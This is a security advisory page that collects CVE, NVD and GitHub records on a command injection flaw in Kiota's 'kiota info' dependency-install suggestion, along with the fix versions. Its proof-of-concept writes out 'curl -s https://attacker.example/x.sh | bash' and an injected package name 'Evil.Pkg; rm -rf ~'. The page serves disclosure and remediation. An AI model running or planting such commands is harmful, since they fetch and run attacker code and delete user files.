Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Source published

16 Jul 2026 14:43:40 UTC

Source modified

17 Aug 2026 15:03:03 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Source published

16 Jul 2026 16:19:15 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 14:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table: ``` # spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }] ``` Without `x-ms-kiota-info`, kiota suggests its own trusted command (e.g. `dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it. `kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in `dependencyInstallCommand`. ### Impact A developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output, could make this automatic. CWE-94 / CWE-829. Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE). ### Patches Fixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied `dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The `--json` output no longer carries a spec-controlled command string for the IDE to run. ### Remediation Upgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Source published

24 Jul 2026 16:11:46 UTC

Source modified

17 Aug 2026 15:00:08 UTC

Observed here

23 Oct 2026 16:01:25 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL